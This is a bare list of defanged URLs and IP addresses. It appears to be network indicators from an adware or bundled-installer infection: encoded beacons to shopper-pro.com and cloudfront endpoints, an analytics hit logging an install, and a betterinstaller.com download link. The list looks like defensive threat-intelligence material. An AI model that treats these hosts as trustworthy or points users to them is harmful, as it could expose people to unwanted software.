hxxp://d2q90bop9bptps.cloudfront.net/p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va9DzSREg8dBLdCUHeR8YCF3e0ze47pQVOJ6ui3jv/3sP/4jVWMunDHWleI3B6uYg8lqpwuyqc3XiTEOgAi5qcHFAjty0U0tb3YV31 7Nekt0xm46XXR1FJOjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701LW6zVFlLdS7 Sp4vJbFkTJZmo3hTCidILO7jdoKu0sWmb7Whn ft8sw== 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va/VnFVL/bsGoNCUHeR8YCF313OfQWxYQIj9DDxdB8IX3/IOb5O/qAEzZrdGZ5CXclXYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvaTEAacl7qjMrhOrI7ufq4FE8nd B8zyXMKlr69zlJAit74VReywqQWSxiwH06wI q 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va9MPpNra519lzs1eJiiYYwojgb6v7cXpPvbiGjjio4NqpcQqJAqvU1Umua4LEJhhF3iLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WVBjiLuIYzNRAS1q 0zoNWeofdRBFT4JiFN2uNb3Su1Px8I08wxlBW/ 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va/GBdpOSxhWVkVmCwhd6chxMOD1JqSN m3VULKr5vfVH4qYyeeQ3tOz2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2kxAGnJe6ozK4TqyO7n6uBRPJ3fgfM8lzCpa vc5SQIre FUXssKkFksYsB9OsCPqg== 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va91Q6BhL4ofYRQC drCF7eF7LQ fMG3nUOoTeqbC3Z0rIzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NS1us1RZS3Uu/kqeLyWxZEyWZqN4UwonSCzu43aCrtLFpm 1oZ/n7fLM= 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va/q965piIXltRQC drCF7eFysWDrahxHN1nWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4Uq4IkcWc7T1uqkViX/vEF9gCuWk0op3HznMlTjuIPCQ7ZtVHNATeSMS 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va/mJXdux5Fvl9n5EWJRAEnQKYX3Ti/i3YP1b661ON6JHo8ELrHrpRwVw1PcYrVm0Q9XQ9J8KSs5a4MNpNQo19uHgy6YlW82m1mJd/JSmlPgygFakk3mKHZ8nZ92R8WPtSPD39uruDJE98eAAVArKptKUdW1y396VwWkTqbSbpNNR48UBgfn/EdyjMb3M1eFmdc2 Le3/eDB Eeu2KCTq4AUbl4e0/dEFirVXgd6TQBX2bwyCrtkSlvF94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsiWjWDbDO01nl1RsMTuliUxn1AGu4sOOmJ8dS hSuNt4cRt5SusbiWA== 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va9X2V/SFN607WhPkLraqHTm0JQd5HxgIXdYj3QXM9Milyo96KQrvxHzFtz73aJdyQ/GeYFMwARwv3X0lyNq3ZuENxiFmqD47bQhbRl /mT WqX4Lr7R/LsBVT8ZD/qVCe8s7ryaZlSWLio96KQrvxHzFtz73aJdyQ XPqCqZFMnCKFXCDA1RTqWUwQJJmLrMt3APEDTT1dRPGd5f/T6ihAobKcP 39NITxafZWAq087ncOrjfwSjyvAwJqLk4UIb2TaxssRsAbnEbhoWXXw3kpJQWauk8 c9QQ8qnwwuYDEFATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS1bF cUxn9p9TaMhqs9AubW9YzHUgPNkICJIeb8fJuEVL14DRyLYGNAPza3zhCEzMg== 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va8FwTBnjqtB6SJSQWKLfKoAjgb6v7cXpPtruJ2zeNP9BRjldEvIPSqUjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701LW6zVFlLdS7 Sp4vJbFkTJZmo3hTCidILO7jdoKu0sWmb7Whn ft8sw== 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va/aaY YTEt5Uvbfo/lsLEXHKYX3Ti/i3YNYlTZYFVSl7P5bll8sXmM64i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlQY4i7iGMzUQEtavtM6DVnqH3UQRU CYhTdrjW90rtT8fCNPMMZQVvw== 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va AW1ilHO0XlqaFGmNQisoEs IILilpWF2V9PoQYImhoi5ITADj fT8xuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux98u8yyRdRELOtzUBSk3dy/yrfMepBGOKTbWl4 u9fR6HwOiefr6X0TA== 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/p.ashx?e=/k6kR j50tpQhScA1jb3T41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va/jJX2BNWr5ZmwkqgaQEwGAs IILilpWF3kQFMBsA Vt4zwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NS1us1RZS3Uu/kqeLyWxZEyWZqN4UwonSCzu43aCrtLFpm 1oZ/n7fLM= 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va/LS8QKBdwSe29z1KklHinBKYX3Ti/i3YMgCmKZYKupqUHUSCCw4FeFDxvb2glxipSM0fuUANTo2024kL2X34LpxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux98u8yyRdRELOtzUBSk3dy/yrfMepBGOKTbWl4 u9fR6HwOiefr6X0TA== 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/p.ashx?e=m/KydUClS9fHiNdSCLSbR5wFJfH9UbKsQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3YigV0joIXtmtzUBSk3dy/yrfMepBGOKTbWl4 u9fR6HOh6M6OEG6W6Sm/NUmuZILaKig fkRtZI3fHrFM BTeUYvjTZAc5pSYCpHZc9ZUaHCsX Z/ryLWwQy9IgZy5lJKYX3Ti/i3YP62O0yjhYNJveJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLIlo1g2wztNZ5dUbDE7pYlMZ9QBruLDjpifHUvoUrjbeHEbeUrrG4lg= 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/p.ashx?e=043Mckb8LnhPNjxRBLtb458QinFONRS1/WD6e6SZIIGq9exvwYRubwRSl12vCJvFO0r kKXC exNoyGqz0C5tb1jMdSA82QgIkh5vx8m4RUvXgNHItgY0G iVxYuINcn b/YhL9w2PTXoMXpqBnYfZA47cWpTsAc333RAvM0VMAVvLxh6eIKnHvKbjUyzCCcFAL52sIXt4WvqlYaxbLxssmdOYlMc5582M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2kxAGnJe6ozK4TqyO7n6uBRPJ3fgfM8lzCpa vc5SQIre FUXssKkFksYsB9OsCPqg== 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/21074.ashx?e=yhrBLBbZM9VXzPC13FVNqoxXl6h7wlThxIxKnrRLLMH8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTVome7UQCaFakViX/vEF9gCuWk0op3HznMlTjuIPCQ7TXvHUkMUSkH3bwyJuwJoGyeY/e3xqcYNzjbxIkPSG0LYXcJcN2x8HCa0xTW5cEyjJtJHrqyQTdaFAL52sIXt4WKH9ligQJ6aWE3k2r1sLHgyjwE5JpZyhPWl3SkZAlkUSa /s063GNQgTM gosjwGjstyGccrEswun1wxOHdTMpoeLyUnxlnriM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUtbrNUWUt1Lv5Kni8lsWRMlmajeFMKJ0gs7uN2gq7SxaZvtaGf5 3yz 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/21074.ashx?e=yhrBLBbZM9VXzPC13FVNqoxXl6h7wlThxIxKnrRLLMH8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTVome7UQCaFakViX/vEF9gCuWk0op3HznMlTjuIPCQ7TXvHUkMUSkH3bwyJuwJoGyeY/e3xqcYNzjbxIkPSG0LYXcJcN2x8HBWOvghCBTr/XvKbjUyzCCcFAL52sIXt4VzPv64An3FhwinQ51oFle v E9wUGzGQCOQnLAYBihDz4pxZKLL7/a0RCgbXs/u1ilv6ykvr0VwgDjjE9zaqiibrawBNTcSO11gCewcGs9DXU3roAfrH04i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlQY4i7iGMzUQEtavtM6DVnqH3UQRU CYhTdrjW90rtT8fCNPMMZQVvw== 54.230.200.83
hxxp://rep.shopper-pro.com/app/ping.ashx?e=Ka qOJkckoXHjWHokC5IQIrPX7DOGmai62ls PLHCLDT03ZwnpMmrnnHkVEbFY2mScQhY67GlQ/s40tg8BFdHy8iRTX dxzcRPBbRh/QZ4tgKkdlz1lRoYK03JXbbVmAY0ZRB54QLU9s0DpOFQBDKtJMHu88K1rwaE3O18WF9F24IkcWc7T1uqkViX/vEF9gCuWk0op3HznMlTjuIPCQ7SmB6nzH lJGgNLtxmH87yasaZRg38QqQq/INVbahIP2NFI idKeXtY6OPzltHHEh4SKAFSm7JN4Dvl1Ie0NYsXYWYJZ2G1R01VmUCJgsNE AYCsljvoJNwjLw3VULpGjCmtL90K5JhMVO wnJbdjPvjIThxN S9E4GJ4QV/LGgmjb7lwwGTBJiS1G 7d036oZmDRlfy34hyc0iIiDxwuPWp0tEVr E2weBhV8LGHavKsb4fSGGp6rCYIEGKM0uv4feJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5GbVYBUSgIm/B0BQcuK8b702jIarPQLm1vWMx1IDzZCAiSHm/HybhFS9eA0ci2BjQhsLQeJtebJimrvcVl0Mf/w== 173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=XOxRKBm2zlySwLUjiBbolSmVSxD0vRfV62ls PLHCLDT03ZwnpMmrnnHkVEbFY2mScQhY67GlQ/s40tg8BFdHy8iRTX dxzcRPBbRh/QZ4tgKkdlz1lRoXg/MOwCCT3fpsrZDsYYadbOj/D8d98sTHIeppoKBjGo94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjkZtVgFRKAib8HQFBy4rxvvTaMhqs9AubW9YzHUgPNkICJIeb8fJuEVL14DRyLYGNCroy0Ie/1h5Kau9xWXQx// 173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=XJYuqQQo69d2lr6SLgmZch0A8JFzEu3PNmWBF/nIo0LZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutVM62zr1/tcdADEiVewVReqxrExHm0pp7EGNo7QhvOkf6U 5KiC5JbGtG7iRatc3KeXXE4oNm6FXfaIJbzXBsYhFnX GfGCUQ8ulo8/uUH61sQWPKMvS69xuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJegMBsN/V/kj1us1RZS3Uu/kqeLyWxZEyWZqN4UwonSCzu43aCrtLFpm 1oZ/n7fLMmTADg95nKug8SfsOq8sVv 173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=XJYuqQQo69d2lr6SLgmZch0A8JFzEu3PNmWBF/nIo0LZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutVM62zr1/tcdADEiVewVReqxrExHm0pp7EGNo7QhvOkV7SdHJrX/JIX1hI/1kZRGu1 OqyRyPS0kJhjawCStaVU7EgL6BH0hNnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYCYwZSN8LSVDiWjWDbDO01nl1RsMTuliUxn1AGu4sOOmJ8dS hSuNt7NHG0YYrMVZOLmf6eHphUt9 inPTLZDtg= 173.239.4.105
hxxp://d2q90bop9bptps.cloudfront.net/p.ashx?e=KC46TpkJIZzvtemz1TdLVimVSxD0vRfV7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlkiqa1CzzkCRWOvghCBTr/XvKbjUyzCCcFAL52sIXt4UXMdeVS0aoyqaY9smyAWh8mM5hZr01z5BPRfpuA3pV/ Jv7yVw7xdhvEq1XCmEIT/KGwMMc0gnpNgExseWQzn2EHlpLL4kVIU2Yigf/vHml3fTzht6ovY1YV lHKmkCemqn1dzsO21qNjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29pMQBpyXuqMyuE6sju5 rgUTyd34HzPJcwqWvr3OUkCK3vhVF7LCpBZLGLAfTrAj6o= 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/p.ashx?e=KC46TpkJIZzvtemz1TdLVimVSxD0vRfV7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlkiqa1CzzkCQXCfGg4gcTppNB3Tmp8 xhs IILilpWF23BICZd3Qj2WVSXL3FiMLd94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsiWjWDbDO01nl1RsMTuliUxn1AGu4sOOmJ8dS hSuNt4cRt5SusbiWA== 54.230.200.83
hxxp://rep.shopper-pro.com/app/ping.ashx?e=XJYuqQQo69d2lr6SLgmZch0A8JFzEu3PNmWBF/nIo0LZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutVM62zr1/tcdADEiVewVReqxrExHm0pp7EGNo7QhvOkf6U 5KiC5JbGtG7iRatc3KeXXE4oNm6FXfaIJbzXBsYr6Qb84RcTqgys89o9QykRMbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXoDAbDf1f5I9brNUWUt1Lv5Kni8lsWRMlmajeFMKJ0gs7uN2gq7SxaZvtaGf5 3yzJkwA4PeZyroPEn7DqvLFbw== 173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=XJYuqQQo69d2lr6SLgmZch0A8JFzEu3PNmWBF/nIo0LZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutVM62zr1/tcdADEiVewVReqxrExHm0pp7EGNo7QhvOkf6U 5KiC5JbGtG7iRatc3KmnK2HrDI4J0iwzkJClsSqSLrnIka7 Qz3BR6s2Rhdr5wZou24V faqQgEgmISdwJHaEQI9rLka6syuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRsFG5pEsdtedBjiLuIYzNRAS1q 0zoNWeofdRBFT4JiFN2uNb3Su1PwtwNnOLIZKbA4NV4RhU9Lz38Km4JMgAXQ== 173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=Ka qOJkckoXHjWHokC5IQIrPX7DOGmai62ls PLHCLDT03ZwnpMmrnnHkVEbFY2mScQhY67GlQ/s40tg8BFdHy8iRTX dxzcRPBbRh/QZ4tgKkdlz1lRoZ4gGQsTv/jI9jUckoqA0UZuenVdpknkqRI26ArDLGl0Z1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAmMGUjfC0lQ4lo1g2wztNZ5dUbDE7pYlMZ9QBruLDjpifHUvoUrjbezRxtGGKzFWRCn qX4FpTdffopz0y2Q7Y 173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=1ZEnpGuz/IQqQvvNc0/QxFrMwZGpCKVFcEXCuD7ISRcSZTerw9Y85dVUaX7QH4bytNUutjdaeNq2XevNeS4vezffbwpk5Gf9Fj5x69OeWMEpGxsI2Q6AGNtgpjL3X7N9nl1xOKDZuhXrGiiXWYz3NvgrB1VZh8CMsYns0spGP2fYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fNsA1iuxLaBuCJHFnO09bqpFYl/7xBfYArlpNKKdx85zJU47iDwkO0G WOt5R1Kiyjca/6c/zCZgGUqUYly4OA= 173.239.4.105
hxxp://d2q90bop9bptps.cloudfront.net/p.ashx?e=aQQpsP6/AW3r A4x0AgNXZVvxobzfh8zhk54WlPhjC94E7mrr1h80v8gl1CzC7piUA7dl9owwhJBjiLuIYzNRAS1q 0zoNWeofdRBFT4JiFN2uNb3Su1P77DGVW/zPIk lWLUtT/Ob8PRD2wFYfQncbtSRl8JQU7AqseDL gzy2cp9QVJKf6axzXS3sEdveAyMpFjoih9vsI2PDdMlVpp 15ypFCsb9bHtcWuS9XX1JnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4Uq4IkcWc7T1uqkViX/vEF9gCuWk0op3HznMlTjuIPCQ7ZtVHNATeSMS 54.230.200.83
hxxp://rep.shopper-pro.com/app/ping.ashx?e=obiBp3WOda875Lloa5mq/1rMwZGpCKVFcEXCuD7ISRcSZTerw9Y85dVUaX7QH4bytNUutjdaeNq2XevNeS4vezffbwpk5Gf9Fj5x69OeWMEpGxsI2Q6AGCdvNRLeb/tYs4164GCUCrFoceVsKClDm0InYace3OQdd8zJZOZia4B/MCmMt8HPuvtm2x/E2lxmxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJegMBsN/V/kj1us1RZS3Uu/kqeLyWxZEyWZqN4UwonSCzu43aCrtLFpm 1oZ/n7fLMmTADg95nKug8SfsOq8sVv 173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=obiBp3WOda875Lloa5mq/1rMwZGpCKVFcEXCuD7ISRcSZTerw9Y85dVUaX7QH4bytNUutjdaeNq2XevNeS4vezffbwpk5Gf9Fj5x69OeWMEpGxsI2Q6AGCdvNRLeb/tYs4164GCUCrFoceVsKClDm/Wv9kqlZCJeiSUZWap5kVTyfwmWa4R8zuIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF/y7zLJF1EQs63NQFKTd3L/Kt8x6kEY4pNtaXj6719HoVB3OFhD7qsTtUYb9dqX32KOEog NNy6LA== 173.239.4.105
hxxp://d2q90bop9bptps.cloudfront.net/21074.ashx?e=p9HAq5TtKa/HiNdSCLSbRwiu d pc45zQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3YigV0joIXtmtzUBSk3dy/yrfMepBGOKTbWl4 u9fR6HOh6M6OEG6W7xTD5wywOJP/u6z7Uinv/hnet2bNFIaB3rHUqT9uqiBQI8HtM9wp5Tx0cXu7AB1uimF904v4t2DIApimWCrqamBaL9XcwWiqIzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NS1us1RZS3Uu/kqeLyWxZEyWZqN4UwonSCzu43aCrtLFpm 1oZ/n7fLM= 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/21074.ashx?e=p9HAq5TtKa/HiNdSCLSbRwiu d pc45zQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3YigV0joIXtmtzUBSk3dy/yrfMepBGOKTbWl4 u9fR6HOh6M6OEG6W7xTD5wywOJP/u6z7Uinv/hnet2bNFIaB3rHUqT9uqiByETj4nts NO517CUeh0QiwTxIUcsgQ wQ1V8jD1/9CkaS32V9suMAqwzeR60aTHX2KqK8eF3pkIgGeUpHHIWiSSfRcuIfR0fUu0KI1IApgUwqc65TUDdv5q8anNpZS6ER2T7PbHKfVMzwh6 kBmZAm/6pH veTXixuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux98u8yyRdRELOtzUBSk3dy/yrfMepBGOKTbWl4 u9fR6HwOiefr6X0TA== 54.230.200.83
hxxp://rep.shopper-pro.com/app/ping.ashx?e=PcwT4QFtuPCnIVMsUgdaKVrMwZGpCKVFcEXCuD7ISRcSZTerw9Y85dVUaX7QH4bytNUutjdaeNq2XevNeS4vezffbwpk5Gf9Fj5x69OeWMEpGxsI2Q6AGCdvNRLeb/tYs4164GCUCrFAp3QYSCRp Rpd1THwhajU uvbl3jg3GmM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23LymH6HWKlXgmxPFHWCvcWZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryvWT88vcMcUrwB5esNx9efU= 173.239.4.105
hxxp://d2q90bop9bptps.cloudfront.net/21074.ashx?e=aQQpsP6/AW3U0UsIWSR1jauaEVQSfvLn7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6p72zIVN1UN1xQAPEg9HAY/7i9yaZDVXNnKYX3Ti/i3YOWcmQ2qx PSIgI4Iz7fz4ZjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701LW6zVFlLdS7 Sp4vJbFkTJZmo3hTCidILO7jdoKu0sWmb7Whn ft8sw== 54.230.200.83
hxxp://rep.shopper-pro.com/app/ping.ashx?e=rtVCaXwMwDIfAxEXghvnLPOF5Vd5T630TEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkD5OatmcvVLhhP9XtYEB8KgMUaq GnmAWPImvXap6UhK6QuzXSWi Ubm26xUzbFgx9jUckoqA0UbzzOTe NyYpAcj/vesq0q5xuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJegMBsN/V/kj1us1RZS3Uu/kqeLyWxZEyWZqN4UwonSCzu43aCrtLFpm 1oZ/n7fLMCzBInG6io1w8SfsOq8sVv 173.239.4.105
hxxp://www-google-analytics.l.google.com/__utm.gif?utmwv=5.6.3&utms=3&utmn=1280937276&utmhn=bi.bisrv.com&utme=8(sp_slug)9(youtubeaccelerator)&utmhid=934154437&utmr=-&utmp=Install_Complete&utmht=1423886292943&utmac=UA-31676879-1&utmcc=__utma=1.833397082.1423886223.1423886223.1423886223.1;+__utmz=1.1423886223.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qxCAAgAAAAABAAAAAAAAAAAE~
hxxp://rep.shopper-pro.com/app/ping.ashx?e=aonlVHCKlbW/q1OYm6RuNseI11IItJtH9jcckqEM4t 9gdZ7vVVoir9hXn5fpF0A/EmjUQkbJhH56Z3csCJxKxjG8uFQJiyiI wXmj0gKSzJRj7MvvoN91OAdVu9uBuJ3uqB6Mv dB27cUxOKK2MzR4jZeTGaYuG2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvnzbANYrsS2gbgiRxZztPW6qRWJf 8QX2AK5aTSincfOcyVOO4g8JDtBvljreUdSotWLfeo/B59z4BlKlGJcuDg 173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=aonlVHCKlbW/q1OYm6RuNseI11IItJtH9jcckqEM4t 9gdZ7vVVoir9hXn5fpF0A/EmjUQkbJhH56Z3csCJxKxjG8uFQJiyiI wXmj0gKSx1hum5eQGoao1lUND7dG30GJlpQDKee5oc2gW43IBQaOuVwDpqKHN7aE3O18WF9F24IkcWc7T1uqkViX/vEF9gCuWk0op3HznMlTjuIPCQ7SmB6nzH lJGgNLtxmH87yasaZRg38QqQq/INVbahIP2NFI idKeXtY6OPzltHHEh4SKAFSm7JN4Dvl1Ie0NYsXYWYJZ2G1R08LLBToZpaFbCHIQkF 4wy/1OplaBX/JKxBlxZ9aXoUf91SyXt9 XnayBMUx nL2Mb2B BMTyhSZOZepBrCxlI5QDt2X2jDCEkGOIu4hjM1EBLWr7TOg1Z6h91EEVPgmIU3a41vdK7U/rm5q3wSMR olRVRTi0pA8QTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3cXZ8qiEfUAdC/pgYcHdP8meE6sju5 rgUTyd34HzPJcwqWvr3OUkCK3vhVF7LCpBZpY252DCsExwfJKZ4NCKSCQ== 173.239.4.105
hxxp://installer.betterinstaller.com/awat7zip54650/7zip/236762cce52fe54e8735a3807f6f1de4?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
hxxp://d2wy0yopxw6nne.cloudfront.net/images/Tokyo/tokyo_sprite_full.png 54.230.200.21
hxxp://d4ekdi381yoqv.cloudfront.net/images/Tokyo/tokyoLightGrayStripesBG.jpg 54.230.202.95
